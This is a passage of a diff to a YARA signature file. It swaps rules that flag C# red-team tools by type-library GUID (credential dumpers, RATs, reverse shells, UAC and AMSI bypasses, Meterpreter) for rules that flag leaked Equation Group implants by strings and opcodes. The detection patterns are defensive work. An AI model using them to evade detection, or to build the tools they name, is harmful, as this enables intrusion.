-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7f3e5ef8fc7d6994c1ebab8fc35624691d8f200acf6068b0948fd818f8ad2223"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ec0e90a5-1359-55e5-9165-494f90431247"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2787-L2807"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "04cdd8e4ca9df0231ca66caa8083eff1fe0834cdedc4360fce0a934970a6d162"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c1bcd04b41c6b574a5c9367b777efc8b95fe6cc4e526978b7e8e09214337fac1"
 
 	strings:
-		$typelibguid0lo = "233de44b-4ec1-475d-a7d6-16da48d6fc8d" ascii wide
-		$typelibguid0up = "233DE44B-4EC1-475D-A7D6-16DA48D6FC8D" ascii wide
+		$x1 = "~debl00l.tmp" fullword ascii
+		$x2 = "\\\\.\\mailslot\\c54321" fullword ascii
+		$x3 = "\\\\.\\mailslot\\c12345" fullword ascii
+		$x4 = "nowMutex" fullword ascii
+		$s1 = "System\\CurrentControlSet\\Services\\MSExchangeIS\\ParametersPrivate" fullword ascii
+		$s2 = "000000005017C31B7C7BCF97EC86019F5026BE85FD1FB192F6F4237B78DB12E7DFFB07748BFF6432B3870681D54BEF44077487044681FB94D17ED04217145B98" ascii
+		$s3 = "00000000E2C9ADBD8F470C7320D28000353813757F58860E90207F8874D2EB49851D3D3115A210DA6475CCFC111DCC05E4910E50071975F61972DCE345E89D88" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 2 of ($s*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdump : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Xxxridearea : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b613092f-9006-5405-b07e-59737410ac1e"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/SharpDump"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1168-L1182"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "65e28a356cc975a3014f59551035a324d21039e39a8596b5980ad0c0e4d0a811"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2475778b-1246-5471-b305-a946c253c50c"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2809-L2825"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4d2eeabbb3bb27f46232fe0a43f0ecda9f3589dbe6b08fd4f8aac14f6d12090b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "214b0de83b04afdd6ad05567825b69663121eda9e804daff9f2da5554ade77c6"
 
 	strings:
-		$typelibguid0lo = "79c9bba3-a0ea-431c-866c-77004802d8a0" ascii wide
-		$typelibguid0up = "79C9BBA3-A0EA-431C-866C-77004802D8A0" ascii wide
+		$x1 = "USAGE: %s -i InputFile -o OutputFile [-f FunctionOrdinal] [-a FunctionArgument] [-t ThreadOption]" fullword ascii
+		$x2 = "The output payload \"%s\" has a size of %d-bytes." fullword ascii
+		$x3 = "ERROR: fwrite(%s) failed on ucPayload" fullword ascii
+		$x4 = "Load and execute implant within the existing thread" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Educationalrat : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Yak_Min_Install : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b1d54bea-a6c4-5c57-9ee1-7438d503b01d"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/securesean/EducationalRAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1184-L1198"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad6baa993ba3da60233da39ec55b10ab0fe3b2ca52882972b54c7d199e7b6abb"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dc648deb-4220-5ec3-b95f-ff6cc463f79b"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2827-L2842"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f224c87c5626fee98dae5b4bbab2b4468bdd126ac63371ede53545d7cb177123"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f67214083d60f90ffd16b89a0ce921c98185b2032874174691b720514b1fe99e"
 
 	strings:
-		$typelibguid0lo = "8a18fbcf-8cac-482d-8ab7-08a44f0e278e" ascii wide
-		$typelibguid0up = "8A18FBCF-8CAC-482D-8AB7-08A44F0E278E" ascii wide
+		$s1 = "driver start" fullword ascii
+		$s2 = "DeviceIoControl Error: %d" fullword ascii
+		$s3 = "Phlook" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Stealth_Kid_RAT : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setouraddr : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f26e040a-dcc7-518f-89f2-3333f83fa14a"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/ctsecurity/Stealth-Kid-RAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1200-L1216"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c251c306f416d7a3192d7a11d87b99ab62e2d32453ddecb75a3c517f24a0342"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a2dbfa7b-3fb6-56cf-9391-1a3abb08e3cb"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2844-L2858"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d49bcef48afeb63b763c88443930f28be1d6f9f27d5f0bd9161d151fa3081868"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "04ccc060d401ddba674371e66e0288ebdbfa7df74b925c5c202109f23fb78504"
 
 	strings:
-		$typelibguid0lo = "bf43cd33-c259-4711-8a0e-1a5c6c13811d" ascii wide
-		$typelibguid0up = "BF43CD33-C259-4711-8A0E-1A5C6C13811D" ascii wide
-		$typelibguid1lo = "e5b9df9b-a9e4-4754-8731-efc4e2667d88" ascii wide
-		$typelibguid1up = "E5B9DF9B-A9E4-4754-8731-EFC4E2667D88" ascii wide
+		$s1 = "USAGE: SetOurAddr <input file> <output file> <protocol> [IP/IPX address]" fullword ascii
+		$s2 = "Replaced default IP address (127.0.0.1) with Local IP Address %d.%d.%d.%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcradle : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Getadmin_LSADUMP_Modifyprivilege_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e2123a73-2609-559d-a122-923ebf8fd668"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/anthemtotheego/SharpCradle"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1218-L1232"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a56c456a7c4f61b65f603bc2c8449668a90e36f8b240bca8ea474d82e8174c78"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b3fda153-563c-5a5c-9f5c-12d6ef8b3d95"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2860-L2882"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ee5c818c29ccb1b280669f7f5e828963c4523b73b68674d8c0aae72189f0208c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c8b354793ad5a16744cf1d4efdc5fe48d5a0cf0657974eb7145e0088fcf609ff"
+		hash2 = "5f06ec411f127f23add9f897dc165eaa68cbe8bb99da8f00a4a360f108bb8741"
 
 	strings:
-		$typelibguid0lo = "f70d2b71-4aae-4b24-9dae-55bc819c78bb" ascii wide
-		$typelibguid0up = "F70D2B71-4AAE-4B24-9DAE-55BC819C78BB" ascii wide
+		$s1 = "\\system32\\win32k.sys" wide
+		$s2 = "hKeAddSystemServiceTable" fullword ascii
+		$s3 = "hPsDereferencePrimaryToken" fullword ascii
+		$s4 = "CcnFormSyncExFBC" fullword wide
+		$s5 = "hPsDereferencePrimaryToken" fullword ascii
+		$op1 = { 0c 2b ca 8a 04 11 3a 02 75 01 47 42 4e 75 f4 8b }
+		$op2 = { 14 83 c1 05 80 39 85 75 0c 80 79 01 c0 75 06 80 }
+		$op3 = { eb 3d 83 c0 06 33 f6 80 38 ff 75 2c 80 78 01 15 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and (4 of ($s*) or all of ($op*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Bypassuac : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Sendpktrigger : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "327f581e-1d8c-5d20-bdd7-a29810c619c9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/cnsimo/BypassUAC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1234-L1250"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e466c4e3da0e8bc98eac148c67831df639befab716e0da5c779e3caacbf349a8"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6cbf95eb-323c-53a3-9aca-222626add4dc"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2884-L2897"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "277367e69406a84ff4ff6b57d05bf97468b0083e23f9c5cd14cdd26cad5846d7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2f9c7a857948795873a61f4d4f08e1bd0a41e3d6ffde212db389365488fa6e26"
 
 	strings:
-		$typelibguid0lo = "4e7c140d-bcc4-4b15-8c11-adb4e54cc39a" ascii wide
-		$typelibguid0up = "4E7C140D-BCC4-4B15-8C11-ADB4E54CC39A" ascii wide
-		$typelibguid1lo = "cec553a7-1370-4bbc-9aae-b2f5dbde32b0" ascii wide
-		$typelibguid1up = "CEC553A7-1370-4BBC-9AAE-B2F5DBDE32B0" ascii wide
+		$x1 = "----====**** PORT KNOCK TRIGGER BEGIN ****====----" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Hanzoinjection : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Dmgz_Target_2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c432bf68-49bf-57c7-bbfa-7bd2f3506c52"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/P0cL4bs/hanzoInjection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1252-L1266"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aec8befc497505ea750ce0cfc1e0b1ef21b5a6b97660f5403d6612629edaa114"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "426e982c-2380-5801-ba80-ab25ec4c0f74"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2899-L2916"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ab9ab949ee17655e424f6a65d3605e9900d214d1c620e051104762d5c214419f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "55ac29b9a67e0324044dafaba27a7f01ca3d8e4d8e020259025195abe42aa904"
 
 	strings:
-		$typelibguid0lo = "32e22e25-b033-4d98-a0b3-3d2c3850f06c" ascii wide
-		$typelibguid0up = "32E22E25-B033-4D98-A0B3-3D2C3850F06C" ascii wide
+		$s1 = "\\\\.\\%ls" fullword ascii
+		$op0 = { e8 ce 34 00 00 b8 02 00 00 f0 e9 26 02 00 00 48 }
+		$op1 = { 8b 4d 28 e8 02 05 00 00 89 45 34 eb 07 c7 45 34 }
+		$op2 = { e8 c2 34 00 00 90 48 8d 8c 24 00 01 00 00 e8 a4 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Clr_Meterpreter : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Mstcp32_DXGHLP16_Tdip : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1d8a9717-4d80-5fb1-9c57-9b5f6c5a18b0"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/OJ/clr-meterpreter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1268-L1292"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "15fb4e51fc1473fbee3b08c2a94b6a984cc5b9c92c8aab5641f161aef8b5f01b"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5b54e68b-7bf3-59a0-8257-c370a3b9e4db"
+		date = "2017-04-15"
+		modified = "2023-01-06"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2918-L2938"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "35fab86ca4cb287c8046a1764a91523673e12b5729d87c90b0c298dcbfcf86eb"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6"
+		hash2 = "fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665"
+		hash3 = "a5ec4d102d802ada7c5083af53fd9d3c9b5aa83be9de58dbb4fac7876faf6d29"
 
 	strings:
-		$typelibguid0lo = "6840b249-1a0e-433b-be79-a927696ea4b3" ascii wide
-		$typelibguid0up = "6840B249-1A0E-433B-BE79-A927696EA4B3" ascii wide
-		$typelibguid1lo = "67c09d37-ac18-4f15-8dd6-b5da721c0df6" ascii wide
-		$typelibguid1up = "67C09D37-AC18-4F15-8DD6-B5DA721C0DF6" ascii wide
-		$typelibguid2lo = "e05d0deb-d724-4448-8c4c-53d6a8e670f3" ascii wide
-		$typelibguid2up = "E05D0DEB-D724-4448-8C4C-53D6A8E670F3" ascii wide
-		$typelibguid3lo = "c3cc72bf-62a2-4034-af66-e66da73e425d" ascii wide
-		$typelibguid3up = "C3CC72BF-62A2-4034-AF66-E66DA73E425D" ascii wide
-		$typelibguid4lo = "7ace3762-d8e1-4969-a5a0-dcaf7b18164e" ascii wide
-		$typelibguid4up = "7ACE3762-D8E1-4969-A5A0-DCAF7B18164E" ascii wide
-		$typelibguid5lo = "3296e4a3-94b5-4232-b423-44f4c7421cb3" ascii wide
-		$typelibguid5up = "3296E4A3-94B5-4232-B423-44F4C7421CB3" ascii wide
+		$s1 = "\\Registry\\User\\CurrentUser\\" wide
+		$s2 = "\\DosDevices\\%ws" wide
+		$s3 = "\\Device\\%ws_%ws" wide
+		$s4 = "sys\\mstcp32.dbg" fullword ascii
+		$s5 = "%ws%03d%ws%wZ" fullword wide
+		$s6 = "TCP/IP driver" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_BYTAGE : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Regprobe : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4f87ca2c-3ac1-5733-893e-79665b80ffc3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/KNIF/BYTAGE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1294-L1308"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "faf0172ab464c4a19ce5ba4514f2a60ac4e78ce20be4fb4878a23e2980b6ea88"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "184618b7-a24c-5a8c-9fb2-a5a07f1a0299"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2940-L2955"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "01e7387c26ae3736c8fac1a3bb6ff283f8b06949af7a4ac36a556b292412bda2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "99a42440d4cf1186aad1fd09072bd1265e7c6ebbc8bcafc28340b4fe371767de"
 
 	strings:
-		$typelibguid0lo = "8e46ba56-e877-4dec-be1e-394cb1b5b9de" ascii wide
-		$typelibguid0up = "8E46BA56-E877-4DEC-BE1E-394CB1B5B9DE" ascii wide
+		$x1 = "Usage: %s targetIP protocolSequence portNo [redirectorIP] [CLSID]" fullword ascii
+		$x2 = "key does not exist or pinging w2k system" fullword ascii
+		$x3 = "RpcProxy=255.255.255.255:65536" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Multios_Reverseshell : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Doublefeaturedll_Dll_2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f54bcb1a-b0cd-5988-bf1d-4fa6c012d6b9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/belane/MultiOS_ReverseShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1310-L1324"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae5a41fd66f058a8f89f6b9d488d7f4a845bf7829a1eb04f49c4e8e4c8db1cc0"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f77fd49f-815b-5fb9-a3d7-8721edf79b28"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2957-L2974"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d6751ebfb2541c86b74583b7867de0a193ca106bf77337c8b10f15cdeb596bd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f265defd87094c95c7d3ddf009d115207cd9d4007cf98629e814eda8798906af"
+		hash2 = "8d62ca9e6d89f2b835d07deb5e684a576607e4fe3740f77c0570d7b16ebc2985"
+		hash3 = "634a80e37e4b32706ad1ea4a2ff414473618a8c42a369880db7cc127c0eb705e"
 
 	strings:
-		$typelibguid0lo = "df0dd7a1-9f6b-4b0f-801e-e17e73b0801d" ascii wide
-		$typelibguid0up = "DF0DD7A1-9F6B-4B0F-801E-E17E73B0801D" ascii wide
+		$s1 = ".dllfD" fullword ascii
+		$s2 = "Khsppxu" fullword ascii
+		$s3 = "D$8.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <1000KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Hidefromamsi : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gangsterthief_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0fa1ce82-b662-5e18-a5da-8359c96cd6e9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/0r13lc0ch4v1/HideFromAMSI"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1326-L1340"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c4c06b8f40a38d5386cb49befd7705552b471e443188b6af1d85d7bd4277cc1c"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9127f280-135e-5f83-9587-eab3ad84ad69"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2976-L2993"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8145d6eedf20cf95baf329a6240b5b740273ff0a7f82edd3c346eb8c67e69e1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "50b269bda5fedcf5a62ee0514c4b14d48d53dd18ac3075dcc80b52d0c2783e06"
 
 	strings:
-		$typelibguid0lo = "b91d2d44-794c-49b8-8a75-2fbec3fe3fe3" ascii wide
-		$typelibguid0up = "B91D2D44-794C-49B8-8A75-2FBEC3FE3FE3" ascii wide
+		$s1 = "\\\\.\\%s:" fullword wide
+		$s4 = "raw_open CreateFile error" fullword ascii
+		$s5 = "-PATHDELETED-" ascii
+		$s6 = "(deleted)" fullword wide
+		$s8 = "NULLFILENAME" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnetavbypass_Master : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setcallbackports : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4004271b-4fbe-58bb-9613-a077e76324b3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/lockfale/DotNetAVBypass-Master"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1342-L1356"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "28446fae71b06f0418a5dd3cb6d6842dcc930313f7740704770b41f16ad0e7b5"
+		description = "Detects EquationGroup Tool - April Leak"
